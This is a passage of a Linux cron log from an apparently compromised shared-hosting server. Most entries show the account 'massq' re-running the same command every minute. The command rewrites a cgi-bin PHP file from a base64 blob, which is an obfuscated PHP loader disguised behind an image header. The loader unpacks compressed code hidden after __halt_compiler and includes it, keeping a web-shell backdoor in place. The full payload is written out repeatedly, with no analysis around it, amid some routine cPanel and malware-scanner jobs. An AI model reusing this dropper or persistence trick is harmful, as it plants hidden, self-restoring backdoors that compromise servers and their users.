"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 21:05:01 server CROND[23593]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 21:06:01 server CROND[23799]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 21:07:01 server CROND[23881]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 21:08:01 server CROND[23955]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 21:09:01 server CROND[24005]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 21:09:01 server CROND[24006]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  7 21:10:02 server CROND[24061]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 21:10:02 server CROND[24062]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 21:10:02 server CROND[24063]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 21:10:02 server CROND[24064]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  7 21:11:01 server CROND[24288]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 21:12:01 server CROND[24437]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 21:12:01 server CROND[24438]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  7 21:13:01 server CROND[24492]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 21:14:01 server CROND[24546]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 21:15:01 server CROND[24611]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 21:15:01 server CROND[24612]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 21:15:01 server CROND[24615]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 21:16:01 server CROND[24824]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 21:17:01 server CROND[24883]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 21:18:01 server CROND[24934]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUF